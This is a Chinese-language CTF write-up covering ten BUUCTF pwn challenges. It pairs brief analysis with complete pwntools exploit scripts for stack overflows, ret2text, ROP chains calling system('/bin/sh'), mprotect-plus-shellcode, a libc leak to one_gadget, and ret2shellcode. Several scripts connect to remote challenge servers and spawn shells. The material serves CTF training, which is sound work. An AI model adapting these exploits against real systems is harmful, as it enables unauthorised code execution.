11 get_started_3dsctf_2016
保护,简简单单开了个NX。
进去把那个函数名称拉一拉,发现这程序是静态编译的。
看main函数,我直呼好家伙,这句子它先就是个神奇的句子。
很明显一个栈溢出。
很明显看到了关键函数。
栈溢出之后一般32位程序ebp之后就是返回地址,但是在32的main函数中,ebp之后先是三个参数,然后才是返回地址,因为get flag 函数中传入了参数并且对参数有判断,所以在栈溢出的时候返回地址后面写上返回函数的返回地址,再写入两个参数,名满足调用规则,从右往左先入栈,所以地址后面紧跟a1,然后才是a2.
但是调一下就会发现,这程序返回是用add ret返回的,所以0x38之后直接就是返回地址。
但是又注意到,传参进来后v3,v5的数据类型是unsigned_int8,就一个字节,是无符号的,表示0-255,根本达不到下面判断语句中的那么大,所以调整返回地址,直接调整到进入下面输出flag的地方。
顺便说一下getc函数,就是在C语言中,用函数getc(fgetc)从文件读取字符。
然后就写脚本
exp
'''
from pwn import*
context.log_level = "debug"
#r = remote('node3.buuoj.cn',28988)
r = process('./2016')
#gdb.attach(r, 'b gets')
flag_addr = 0x80489b8
payload = 'a' * 0x38
payload += p32(flag_addr)
r.recvuntil("Qual a palavrinha magica? ")
r.sendafter(payload)
r.interactive()
'''
from pwn import*
p=process('./2016')
gdb.attach(p)
payload='a'*0x38+p32(0x80489b8)
p.sendline(payload)
p.interactive()
发现个好玩的,上面那个被注掉的是我刚开始写的,不能用,一到recv就卡住了,我直呼好家伙。
然后看似不通
其实通了,只不过它程序是读你里面的flag.txt但是你没有而已。
然后我发现里面有syscall,所以也可以直接ret2syscall
本来想直接在这里把exp贴上来,没想到在调试它的过程中出现了很多状况,记录在了下面(doge)。
buuoj pwn get_started_3dsctf_2016 ret2syscall
我们也可以通过mprotect改它的权限,因为开了NX,所以shellcode写不上去,我们先把权限改了,然后把shellcode写在bss段上,然后跳过去执行。
然后要用到pop,因为在给mprotect传参的时候函数是直接ret的,所以我们需要帮助他。
exp
from pwn import *
from LibcSearcher import *
context.os='linux'
context.arch='i386'
context.log_level='debug'
r = process('./2016')
elf=ELF('./2016')
bss=0x080eb000
pop_ebx_esi_edi_ret=0x080509a5
payload='a'*0x38+p32(elf.sym['mprotect'])+p32(pop_ebx_esi_edi_ret)+p32(bss)+p32(0x2d)+p32(7)+p32(elf.sym['read'])+p32(bss)+p32(0)+p32(bss)+p32(0x2d)
r.sendline(payload)
payload=asm(shellcraft.sh())
r.sendline(payload)
r.interactive()
12 ciscn_2019_en_2
进来首先看到部署在Ubuntu18上面,所以system需要考虑栈对齐。
然后发现
这个跟第7个ciscn_2019_c_1一摸一样嘛
13 ciscn_2019_n_8
首先发现它又是部署在Ubantu18上面
检查一下保护
鼠标放在var上面可以发现它是四个字节的,但是下面var13那里是用QWORD读的,就是八个字节。
所以只要输入的时候var13那里输入个8字节的17就好了。
from pwn import*
r = remote('node3.buuoj.cn',27724)
payload = 'a' * 4 * 13 + p64(17)
r.sendline(payload)
r.interactive()
14 jarvisoj_level2
保护检查一下子
有两个后门函数,但是里面参数不对,里面有明显的栈溢出,想的是改变函数的参数为‘/bin/sh’,但是发现参数在.rodata段。
我们可以不要那个参数,自己写/bin/sh,或者看看程序里面有没有,查了一下,还真有,那就完了嘛 ROP一把梭。
这地方还是个hint 好家伙。
exp
from pwn import*
r = remote('node3.buuoj.cn',26358)
system_addr = 0x0804845C
bin_sh = 0x804a024
payload = 'a' * 140 + p32(system_addr) + p32(bin_sh) + p32(bin_sh)
r.sendline(payload)
r.interactive()
15 not_the_same_3dsctf_2016
保护检查一下。
发现有个这,
发现有个栈溢出,ret2text就好了嘛。
exp
from pwn import*
r = remote('node3.buuoj.cn', 28760)
#r = process('./2016')
elf = ELF('./2016')
secret_addr = 0x80489a0
write_addr = 0x806e270
bss_addr = 0x80eca2d
payload = 'a' * 0x2d + p32(secret_addr) + p32(write_addr) + p32(write_addr) + p32(1) + p32(bss_addr) + p32(50)
r.sendline(payload)
r.interactive()
16 [BJDCTF 2nd]one_gadget
勉强能说成是PIE绕过吧。
保护拉满。
这一看就里面把你输入的地址当作函数地址去执行。
但是怎么利用?
发现它给留了个这玩意。
因为开了PIE
通过这个可以泄露地址,然后计算libc的基地址,从而得到one_gadget的地址,就好了。
exp
from pwn import*
#r = process('./one')
r = remote('node3.buuoj.cn',27708)
context.log_level = "debug"
libc = ELF('libc-2.29.so')
one_gadget = 0x106ef8
r.recvuntil('0x')
printf_addr = int(r.recvuntil('\n')[:-1],16)
#int这块后面的16指的是把字符串当成16进制的字符串转化为十进制整数。
print printf_addr
libc_base = printf_addr - libc.sym['printf']
one_addr = libc_base + one_gadget
r.sendline(str(one_addr))
r.interactive()
17 bjdctf_2020_babystack
ret2text
保护检查一下
发现个后门函数
明显的栈溢出。
所以就直接一把梭嘛。
有个小细节
就是你看他那个栈帧的时候你会发现,挺奇怪的。
我们实际调一下。
所以其实还是就那个样子。
exp
from pwn import*
#r = process('./baby')
r = remote('node3.buuoj.cn',26010)
context.log_level = "debug"
backdoor = 0x4006e6
payload = 'a' * 0x18 + p64(backdoor)
r.sendlineafter('[+]Please input the length of your name:', '32')
r.sendlineafter('[+]What\'s u name?', payload)
r.interactive()
18 [HarekazeCTF2019]baby_rop
保护检查
要啥有啥。
栈溢出ROP一把梭。
64位的需要用到gadget
exp
from pwn import*
#r = process('./babyrop')
r = remote('node3.buuoj.cn',29212)
context.log_level = "debug"
system_addr = 0x4005e3
bin_sh = 0x601048
pop_rdi = 0x400683
payload = 'a' * 0x18 + p64(pop_rdi) + p64(bin_sh) + p64(system_addr)
r.sendline(payload)
r.interactive()
19 jarvisoj_level2_x64
保护。
又是要啥有啥。
栈溢出一把梭
from pwn import*
#r = process('./babyrop')
r = remote('node3.buuoj.cn',29380)
context.log_level = "debug"
system_addr = 0x400603
bin_sh = 0x600a90
pop_rdi = 0x4006b3
payload = 'a' * 0x88 + p64(pop_rdi) + p64(bin_sh) + p64(system_addr)
r.sendline(payload)
r.interactive()
20 ciscn_2019_n_5
典型的ret2shellcode
保护
没有后门,就有个栈溢出。
但是发现NX没开,所以我们可以写一段shellcode在bss上,然后栈溢出跳过去。
exp
from pwn import *
context.arch = 'amd64'
#写shellcode要加这个
context.log_level = 'debug'
r = remote("node3.buuoj.cn" , 29994)
shellcode = asm(shellcraft.amd64.sh())
#shellcode这样写
bss_addr = 0x601080
r.recvuntil("tell me your name")
r.sendline(shellcode)
r.recvuntil("What do you want to say to me?")
payload = 'a'* 0x28 + p64(bss_addr)
r.sendline(payload)
r.interactive()